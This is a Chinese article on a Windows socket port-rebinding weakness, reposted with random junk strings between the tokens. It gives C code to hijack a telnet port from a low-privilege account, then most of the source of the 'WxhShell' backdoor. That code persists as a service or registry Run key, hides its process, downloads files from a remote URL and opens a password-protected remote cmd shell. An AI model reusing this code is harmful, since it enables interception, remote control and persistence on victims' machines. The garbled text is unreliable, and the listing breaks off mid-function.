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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: WopA7J, s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2+K-I B->oTC`5 saddr.sin_family = AF_INET; Wd7qpWItjQ j9}.U \ saddr.sin_addr.s_addr = htonl(INADDR_ANY); )Ofwfypc /N")uuv bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); V<U9Pj^?^ n<eK\w 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 O7J V{'? <2LUq@Pg 这意味着什么?意味着可以进行如下的攻击: z)R\WFBW %wGQu;re 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 :#UA!|nV 0OnqKgf 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) RGBntp% ++!0r['+> 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 7p{2&YhB 6rlM\k@! 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 xj5MKX{CJT aq9Ej]1b 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 iE]^6i !F2JT@6 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 BtQqUk#L2 N`vPt?@ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 jz I,B J$(79gH{ #include 8vj]S5 #include V|4k=_- #include +1eb@bX #include h0l_9uI DWORD WINAPI ClientThread(LPVOID lpParam); ciN*gwI) int main() .]; ` { i}C%`1+( WORD wVersionRequested; =05jjR1 DWORD ret; hgdr\
F WSADATA wsaData; .0dx@Sbv BOOL val; Ft @ZK!'@ SOCKADDR_IN saddr; rWp+kV[Ec> SOCKADDR_IN scaddr; `t7GYmw^# int err; :|=Xh"l" SOCKET s; Pj7MR/AH SOCKET sc; raZ0B,;eFu int caddsize; {dvsZJj HANDLE mt; sb%l N DWORD tid; W"s)s wVersionRequested = MAKEWORD( 2, 2 ); Z}>+!Z err = WSAStartup( wVersionRequested, &wsaData ); KwxJ{$|xH if ( err != 0 ) { %vU*4mH printf("error!WSAStartup failed!\n"); -B:O0;f return -1; {InW%qSn_ } rTeADu_vf saddr.sin_family = AF_INET; ::Pf\Lb> -M-y*P) //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 1tH#QZIT ^;cJjl'= saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); U> {CG+X saddr.sin_port = htons(23); .X6V>e)(3 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?xo<Fv { :;o?d&C printf("error!socket failed!\n"); t=dZM}wj_\ return -1; V`LW~P;
} d)v!U+-|' val = TRUE; ^ANz=`N5, //SO_REUSEADDR选项就是可以实现端口重绑定的 'V*8'? if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Xgo`XsA { ~h444Hp= printf("error!setsockopt failed!\n"); @Hst-H.l<l return -1; [Ny'vAHOj } $)7Af6xD //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; T!Uf
PfEI //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 g)iw.M2 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 P/8z N{fYO4O if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) -257g; { aGmbB7[BZ ret=GetLastError(); 6
ZVD<C :\ printf("error!bind failed!\n"); 90+Hv:wF return -1; KnYHjJa } ^r~R]stE^ listen(s,2); w7_2JS while(1) R]_fe4Y0 { Py#iC#g~ caddsize = sizeof(scaddr); QEl~uhc3 //接受连接请求 ] Oe[;<I sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 7>|p_o`e if(sc!=INVALID_SOCKET) 8R.`* {
%Lgfi mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); LY(h>` if(mt==NULL) )1]LoEdm` { ,5Tw5<S printf("Thread Creat Failed!\n"); ~uu~NTz break; .s<tQU } 7)au#K6 } zGE{Z A CloseHandle(mt); .;~K*GC } gc{5/U9H* closesocket(s); >.#tNFAs WSACleanup(); @7<m.?A! return 0; WjMP]ND#c } _yVF+\kQ DWORD WINAPI ClientThread(LPVOID lpParam) 1oIu~f{` { TVFxEV7Fx SOCKET ss = (SOCKET)lpParam; &M^FA=J\ SOCKET sc; Q Ph6
p3bg unsigned char buf[4096]; q9"~sCH SOCKADDR_IN saddr; MEn#MT/Cz long num; MHKB:t]hA DWORD val; t~"DQqE DWORD ret; _a=f.I //如果是隐藏端口应用的话,可以在此处加一些判断 MOW {g\{\ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 ._z[T@!9 saddr.sin_family = AF_INET; 4lfJc9J saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Nm/Fc saddr.sin_port = htons(23); yw)Ztg) if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7%4@* { &g<`i{_ printf("error!socket failed!\n"); ;]^JUmxU[d return -1; >qI|g={M } ,W/D 0 val = 100; g8_IZ(%: if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) VG`A* Vj
{ l?%U*~* ret = GetLastError(); 0Ti>PR5M return -1; +(<}`!9M* } &c!=< <5M if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5K*-)F
] { 4hv'OEl ret = GetLastError(); 4x:Odt5 return -1; &j7l#Urq } 4q<:%
0M| if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) jP";ll|c { (7rG~d1iS printf("error!socket connect failed!\n"); X7]vXo* closesocket(sc); %R{clbbbn closesocket(ss); hD/bO return -1; s"|N-A=cS } W$Bx?}x($ while(1) d0 tN73( { '4A8\&lQO //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 m H'jr$ ? //如果是嗅探内容的话,可以再此处进行内容分析和记录 !2N#H~{ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 6X:-Z3 num = recv(ss,buf,4096,0); jL)aU> kN if(num>0) R@0ELxzA send(sc,buf,num,0); .n`MPx' else if(num==0) \?fl%r2 break; 2Xgw7`
!L num = recv(sc,buf,4096,0); W3K"5E0ck if(num>0) B%9[ send(ss,buf,num,0); E4[\lX$J else if(num==0) f|FQd3o) break; [:!#F7O- } s/Wg^(&M closesocket(ss); k>n^QHM closesocket(sc); 3<msiCP return 0 ; SJ7>*Sa(u$ } R< xxwjt U'.>wjO 0tB9X9 :, ========================================================== rsP-?oD8) !HDk] 下边附上一个代码,,WXhSHELL c e=6EYl
v-[|7Pg}Z ========================================================== qBX<{[ M7,|+W/RK #include "stdafx.h" uD:O[H-x }.zgVLL #include <stdio.h> <WBGPzVZE #include <string.h> D?5W1m]E,s #include <windows.h> 4b3p,$BWS #include <winsock2.h> o`j%$K4?5 #include <winsvc.h> q}BQu@'H #include <urlmon.h> fBd +gT\S )vGRfFjw_ #pragma comment (lib, "Ws2_32.lib") 05pCgI}F> #pragma comment (lib, "urlmon.lib") S%xGXmZ KS(T%mk\ #define MAX_USER 100 // 最大客户端连接数 7P|(j<JX6' #define BUF_SOCK 200 // sock buffer *bRH,u #define KEY_BUFF 255 // 输入 buffer F/EHU?_EI vW)GUAF[ #define REBOOT 0 // 重启 'T|.<u@~ #define SHUTDOWN 1 // 关机 [sNn^x 7 cIVK}& #define DEF_PORT 5000 // 监听端口 bR&hI9`%F
Ha
C?, #define REG_LEN 16 // 注册表键长度 $V~%$ #define SVC_LEN 80 // NT服务名长度 R?&S]?H V">Uh@[J_ // 从dll定义API (c[h,>`@: typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); bNaJ{Dm$R typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); U5H o? `< typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =$`DBLX typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~C!vfPC H8-,gV // wxhshell配置信息 y:|7.f struct WSCFG { q75F^AvH int ws_port; // 监听端口 <&L;9fr char ws_passstr[REG_LEN]; // 口令 \GvVs int ws_autoins; // 安装标记, 1=yes 0=no WVNQ}KY char ws_regname[REG_LEN]; // 注册表键名 Aoo'i char ws_svcname[REG_LEN]; // 服务名 )Y
*?VqZn char ws_svcdisp[SVC_LEN]; // 服务显示名 )7i?8XiSZF char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^c(PZ,/#JB char ws_passmsg[SVC_LEN]; // 密码输入提示信息 RD_;us@&&* int ws_downexe; // 下载执行标记, 1=yes 0=no ~y|%D; char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" PO%]Jme char ws_filenam[SVC_LEN]; // 下载后保存的文件名 TM^1{0;r5 yZ!Eu#81 }; h
|lQTT Txfb-f!mv\ // default Wxhshell configuration f^%E]ki struct WSCFG wscfg={DEF_PORT, e:,.-Kvzp` "xuhuanlingzhe", YwF6/JA0^ 1, VmUM_Q~ "Wxhshell", q!H3JL "Wxhshell", ~.@fk}'R "WxhShell Service", ~<Lf@yu-{ "Wrsky Windows CmdShell Service", 9=kTTF s "Please Input Your Password: ", }DM2#E`_ 1, DS$ _"'g%i " http://www.wrsky.com/wxhshell.exe", )-QNWN
H "Wxhshell.exe" R_1C+ }; 4vX]c bNaUzM!,H // 消息定义模块 -E500F*b char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Y(:OfC? char *msg_ws_prompt="\n\r? for help\n\r#>"; SQ
Fey~ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; 2s4=%l char *msg_ws_ext="\n\rExit."; o6y,M!p@ char *msg_ws_end="\n\rQuit."; :U:7iP: char *msg_ws_boot="\n\rReboot..."; EU@mrm? char *msg_ws_poff="\n\rShutdown..."; c==Oio(" char *msg_ws_down="\n\rSave to "; k,@J& o5D" <-=> char *msg_ws_err="\n\rErr!"; R`**!ku char *msg_ws_ok="\n\rOK!"; (wlsn6h {4QOUqA u char ExeFile[MAX_PATH]; 8@fDn(]w int nUser = 0; `JE>GZY HANDLE handles[MAX_USER]; !U#++Zig% int OsIsNt; a`-hLX)~Z psZeu*/r SERVICE_STATUS serviceStatus; jccW8g~
~ SERVICE_STATUS_HANDLE hServiceStatusHandle; `es($7}P_W |tg?b&QR // 函数声明 g&Z7h4!\ int Install(void); w}.'Tebu int Uninstall(void); bNROXiX int DownloadFile(char *sURL, SOCKET wsh); [\b_+s)eN int Boot(int flag); nP3GI:mjL void HideProc(void); ' 4~5ez|: int GetOsVer(void); B
(1,Rq[ int Wxhshell(SOCKET wsl); z/YMl3$l~ void TalkWithClient(void *cs); Ib2 @Wi int CmdShell(SOCKET sock); B\_u${C int StartFromService(void); UPKi/)C; int StartWxhshell(LPSTR lpCmdLine); u3wC}Zo m"G N^V7 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); s3-ktZ@ VOID WINAPI NTServiceHandler( DWORD fdwControl ); <s-@!8*( LO]6Xd" // 数据结构和表定义 V./w06;0 SERVICE_TABLE_ENTRY DispatchTable[] = iw
fp' { ^V}R(gDu}s {wscfg.ws_svcname, NTServiceMain}, u-[t~-(a {NULL, NULL} H\I!J@6g }; !/}FPM_ A'(7VJ // 自我安装 $G_Q`w=jM int Install(void) ;x-H$OZX { wz+5
8( char svExeFile[MAX_PATH]; EB>B,# HKEY key; cHL]y0> strcpy(svExeFile,ExeFile); b;L>%; |.C
// 如果是win9x系统,修改注册表设为自启动 kz0=GKic if(!OsIsNt) { fcICFReyV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n`)7Y`hBhP RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `OP>(bU0 RegCloseKey(key); +SQjX7]% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m*!f%}T RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5}eQaW48 RegCloseKey(key); ,<3uc return 0; :B=8_M } CofH}- } g(<T u^F } L"foL else { ole|J YN@6}B#1 // 如果是NT以上系统,安装为系统服务 rer|k<k;]G SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); D#7_TKX if (schSCManager!=0) \ CK(;J { 7':f_] SC_HANDLE schService = CreateService rKzlK 'U ( 9k:W1wgH1 schSCManager, L}W1*L$;< wscfg.ws_svcname, (`6%og#8 wscfg.ws_svcdisp, ejklpa ./ SERVICE_ALL_ACCESS, Xlv#=@;O] SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1TNz&=e SERVICE_AUTO_START, 3Q"F(uE v^ SERVICE_ERROR_NORMAL, EqnpMHF svExeFile,
)C
{h1
` NULL, 7qg<[ NULL, l(%k6 NULL, a}KK{Vqo` NULL, *bA+]&dj\ NULL fxDj+Q1p ); -Z%F mv8 if (schService!=0) z)lM2x>|* { TbLe6x CloseServiceHandle(schService); FY]pv6@ CloseServiceHandle(schSCManager); BeK2;[5C strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2sKG(^=Z strcat(svExeFile,wscfg.ws_svcname); \M5P+Wk' if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {A|bBg1! RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); QDS0ejhp RegCloseKey(key); 4`nqAX~'f return 0; :peqr!I+K } ./l|8o } mD7}t CloseServiceHandle(schSCManager); Sx8l<X } S5N@\ x } -!cIesK;< =3*Jj`AV return 1; n)#Lh
7X" } Xo Y7/&& 2MuO*.9D // 自我卸载 :BZMnCfA int Uninstall(void) BCx!0v?9 { yRC3
.[ HKEY key;
EX:{EmaT Ep mJWbU if(!OsIsNt) { nq'M?c#E if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3 jF|Ic RegDeleteValue(key,wscfg.ws_regname); p1D()- RegCloseKey(key); (/K5! qh if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [Ct=F| RegDeleteValue(key,wscfg.ws_regname); IIxJqGN: RegCloseKey(key); )lh8
k{ return 0; h4(JUio } 'wZ_4XjD } 3B{[%#vO } M)JADX else { mV?&%>*(f _A 2Lv]vfV SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \jyjQ,v) if (schSCManager!=0) KiAcA]0 { n 'K6vW3 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >)Gd:636+ if (schService!=0)
6Y1J2n" { zAs&%OjG if(DeleteService(schService)!=0) { 5M:D?9E+ CloseServiceHandle(schService); rbyY8
bX CloseServiceHandle(schSCManager); r`6:Q&& return 0; - $JO8'TP } ^Kqf~yS% CloseServiceHandle(schService); J}TfRrf } J8<J8x4 CloseServiceHandle(schSCManager); !msNEE@[ } 40#9]=;} } 81F,Y)x. 2z_2.0/3 return 1; eLfvMPVo } K2rzhHfb n ~,tQV // 从指定url下载文件 OeElMRU" int DownloadFile(char *sURL, SOCKET wsh) i sW\MB] { K
|*5Kwi HRESULT hr; qX#MV>1 char seps[]= "/"; E0 l_-- char *token; 3fr ^ T char *file; A\$
>>Z char myURL[MAX_PATH]; p&N#_dmlH char myFILE[MAX_PATH]; .DguR2KT s8<gK.atl strcpy(myURL,sURL); 2.lgT|p token=strtok(myURL,seps); #E$X,[ZFo while(token!=NULL)
bwiD$ { UBZ9A file=token; KE}H&1PjU token=strtok(NULL,seps); bw4oLu? } +?m0Q;%b "y;bsZBd" GetCurrentDirectory(MAX_PATH,myFILE); _P7tnXww strcat(myFILE, "\\"); / T
c= strcat(myFILE, file); b]Z@^<_E send(wsh,myFILE,strlen(myFILE),0); a|_p,_ send(wsh,"...",3,0); K@u&(} hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); r"{<%e if(hr==S_OK) QM<y`cZ8 return 0; s9)8b$t] else V416g |lBO return 1; [xZU!= [A2`]CE<@ } =L-I-e97@ ZcE_f>KV // 系统电源模块 )?aaBaN$ int Boot(int flag) ?]O7Ao { oG oK, HANDLE hToken; ,*svtw:2') TOKEN_PRIVILEGES tkp; TQ@d~GR 3ec`Wa
if(OsIsNt) { +A8j@d#: OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9~\kF5Q" LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); vH[47Cv G5 tkp.PrivilegeCount = 1; kOL'|GgK tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]T:;Vo
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Qdk6Qubi! if(flag==REBOOT) { YDJ4c;37 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) S$q=;" return 0; dl-l"9~; } H}}$V7]^), else { }_'IE1bA if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) LNYKm~cN return 0; %ysZ5:X } 7,
}
$u } )!bUR\ else { g|X ;ahTT if(flag==REBOOT) { C4$:mJ>y if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -Apc$0ZsN return 0; b}^S.;vNj } H`hnEOyLp else { Ws U)Y& if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) G3P&{.v return 0; {$D,?V@%_ } HSUI${< } d[^KL;b?6 5|0,X<& return 1; *D}0[|O } B Xms;[ `:8J46or // win9x进程隐藏模块 :$;Fhf<5 void HideProc(void) f
3V Dv9( { d_UN0YT< SvM6iZ] HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !l?.5Pm]) if ( hKernel != NULL ) H(c72]@Vg { }U ~6^2 ., pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); mYN7kYR}<` ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Y`7~Am/r;& FreeLibrary(hKernel); (
9!k# } G'2#9<c* K;?,FlH return; `+'rib5 } 6oaazB^L _R'Fco // 获取操作系统版本 sIG7S"k>p int GetOsVer(void) O<PO^pi { ^'CPM6J OSVERSIONINFO winfo; WG*t::NN winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ds#/ GetVersionEx(&winfo); AqKz$ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .7'kw]{/ return 1; 6R-&-4 else WARb"8Kg return 0; >EL)X
#e } v(*C%.M) 7{e{9QbJ4 // 客户端句柄模块 `p;eIt int Wxhshell(SOCKET wsl) [b%:.bjY { [U}+sTQ SOCKET wsh; Qy<[7 struct sockaddr_in client; q)H1pwxD DWORD myID; \k;`}3uO V/cP4{L while(nUser<MAX_USER) (8v7|Pe8 { Nx{$} int nSize=sizeof(client); Um1[sMc{au wsh=accept(wsl,(struct sockaddr *)&client,&nSize); tz#gClo if(wsh==INVALID_SOCKET) return 1; h\plQ[T I1[g&9, handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {x'GJtpb if(handles[nUser]==0) ,Jc m+Wb closesocket(wsh); <;E else kb[P\cRa nUser++; F+ E|r6'i } ~/mwx8~ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [V4 {c@ fc/ &X return 0; USFDy } /C/id)h> ;'81jbh // 关闭 socket Yvn\xph3
void CloseIt(SOCKET wsh) J_>w 3uY { ; 7N
Z<k closesocket(wsh); !"e5~7 nUser--; hp{OL< 2M ExitThread(0); sXd8rj:o } ?"z]A7<Hj piU/& // 客户端请求句柄 K}6dg< void TalkWithClient(void *cs) YeF1C/'hy { L`th7d" ^$&k5e/}C SOCKET wsh=(SOCKET)cs; _EF&A-kX|u char pwd[SVC_LEN]; p{PE@KO: char cmd[KEY_BUFF]; )K'N(w char chr[1]; qF 9NQ; int i,j; [`]4P& K}=|.sE9 while (nUser < MAX_USER) { |+`c3*PV e^lWR] v if(wscfg.ws_passstr) { U^qt6$bK if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "B_K
XL //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l2;CQ7 //ZeroMemory(pwd,KEY_BUFF); @iEA:?9uX i=0; rHP%0f9: while(i<SVC_LEN) { kD bhu^~B = waA`Id // 设置超时 PQ@L+],C fd_set FdRead; T97]P-}
struct timeval TimeOut; w`l{LHrR FD_ZERO(&FdRead); A>{p2?`+! FD_SET(wsh,&FdRead); F4Y@
B TimeOut.tv_sec=8;
&YDK (&> TimeOut.tv_usec=0; }8;[O
9 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6%Be36< if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); jYiv'6z Z'H5,)j0R if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /O]t R pwd =chr[0]; eHDef if(chr[0]==0xd || chr[0]==0xa) { $ "Bh]- pwd=0; GWvH[0 break; ^!q?vo\j| } ~Y.tz`2D i++; 5XLs} : } \P1=5rP qYhs|tY) // 如果是非法用户,关闭 socket jNeI2-9c} if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 97)/"i e } uIU5.\"s f@co<iA send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); TNJG#8 n%Y send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V]EtwA ["}rk while(1) { 0| ;
.6\ fL]Pztsk+ ZeroMemory(cmd,KEY_BUFF); vd6l7"0/ NAPX_B,6 // 自动支持客户端 telnet标准 g:0#u;j^7 j=0; ?bw4~ while(j<KEY_BUFF) { ;l}- Z@! / if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'EFyIVezg9 cmd[j]=chr[0]; U.{l;EL:T if(chr[0]==0xa || chr[0]==0xd) { 5{$LsL cmd[j]=0; jmg!Ml break; F ]O$(7* } q64k7<C, j++; >c-fI$] } _20#2i& >3u]OSb // 下载文件 z6py"J@ if(strstr(cmd,"http://")) { gT/@dVV send(wsh,msg_ws_down,strlen(msg_ws_down),0); [yj).*0 if(DownloadFile(cmd,wsh)) jgS%1/& send(wsh,msg_ws_err,strlen(msg_ws_err),0); exdx\@72 else WL+]4Wiz send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z0De!?ALV\ } H'F6$ypoS else { Z/rTVAs@r n&MG7`]N switch(cmd[0]) { ( )sTb>L D#S\!>m // 帮助 >yJ9U,Y case '?': { m*X[ Jtr send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); y0~Ia:y break; (6v(9p } >u%]6_[ // 安装 *)]"27^ case 'i': { {A|TowBN if(Install()) rw)kAe31 send(wsh,msg_ws_err,strlen(msg_ws_err),0); -G,^1AL> else >!6i3E^ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i*R,QN) break; L}#0I+Ml7 } 9;%CHb& // 卸载 ^[Cv26 case 'r': { N)% ;jh:T if(Uninstall()) ZtVAEIZ) send(wsh,msg_ws_err,strlen(msg_ws_err),0); B5X sGLV else 27ckdyQx send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bN^O}[ break; 0tk#Gs[ } Z['\61 // 显示 wxhshell 所在路径 YJxw 'U
>P case 'p': { B~'MBBD" char svExeFile[MAX_PATH]; +MK6zf strcpy(svExeFile,"\n\r"); (SVWdgb strcat(svExeFile,ExeFile); ~8`:7m? send(wsh,svExeFile,strlen(svExeFile),0); XS~- vF break; 6B$q,"%S@ } \bCX=E- // 重启 T2?HRx case 'b': { b{DiM098 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); h x6;YV if(Boot(REBOOT)) c':ezEaC send(wsh,msg_ws_err,strlen(msg_ws_err),0); t<:D@J]a else { PZ8U6K' closesocket(wsh); ihT~xt ExitThread(0); l6[lJ0Y } 1gO2C$ break; a=GM[{og } v;y0jD#b // 关机 3-40'$lE case 'd': { PU9`<3z5 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); D}Ilyk_uUw if(Boot(SHUTDOWN)) z1 i &Ge send(wsh,msg_ws_err,strlen(msg_ws_err),0); k6IG+:s else { f<y&\'3 closesocket(wsh); ;@ WV-bLe ExitThread(0); e`{0d{Nd } !rxp?V n - break; `29TY&p+" } V9x8R // 获取shell FgA//)1 case 's': { d_}a`H CmdShell(wsh); bm&87 closesocket(wsh); xFp<7p
L ExitThread(0); juToO break; FYPz 4K } AZFWuPJo // 退出 @kngI7=E case 'x': { +I|8Q|^SD send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^[h2% c$ CloseIt(wsh); FN"rZWM break; 'zSgCgCHX8 } x;$|#]+
// 离开 J;~|ph case 'q': { V*B0lI7`B send(wsh,msg_ws_end,strlen(msg_ws_end),0); vW.%[] closesocket(wsh); _=`x])mM WSACleanup(); `]2@_wa exit(1); l%"`{ break; p?rK`$U+J } >M^&F6 } +!&$SNLh( } m% bE-# ^/KfH&E // 提示信息 %= u/3b:o if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J9@}DB } !P|5#.eC } EODB`$+ O<`R~ return; R<&FhT] } )1_(>|@oi u( 9X // shell模块句柄 GoeIjuELR int CmdShell(SOCKET sock) LP>UU ,Z { 4;\Y?M}g? STARTUPINFO si; V<-htV ZeroMemory(&si,sizeof(si)); lwsbm D si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; qz:]-A si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =h\E<dw PROCESS_INFORMATION ProcessInfo; ~L){O*Z char cmdline[]="cmd"; + zDc CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;f(n.i return 0; u{+!&
2}k } !Zj#.6c9 G;2[ // 自身启动模式 {5 Kz' FT int StartFromService(void) Doj(.wm~ { c(:Oyba typedef struct b Fn(w:1Q { CgoXZX DWORD ExitStatus; E!dp~RwZu DWORD PebBaseAddress; W gZ@N DWORD AffinityMask; -$ali[ DWORD BasePriority; &E]"c]i+ ULONG UniqueProcessId; 82.HH5Z{ ULONG InheritedFromUniqueProcessId; !=knppY } PROCESS_BASIC_INFORMATION; y^YVo^3 7V/Zr PROCNTQSIP NtQueryInformationProcess; JilKZQmk H` Lu"EK static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Xr2 Wa static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; VwC4QK,d; D9G0k[D, HANDLE hProcess; 4%>+Wh[ PROCESS_BASIC_INFORMATION pbi; 8'%+G 6,zDBax HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?M]u$Te/. if(NULL == hInst ) return 0; U-ULQ| 6U y0y+%H- g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); b8e*Pv/ g_pGetModuleBaseName = 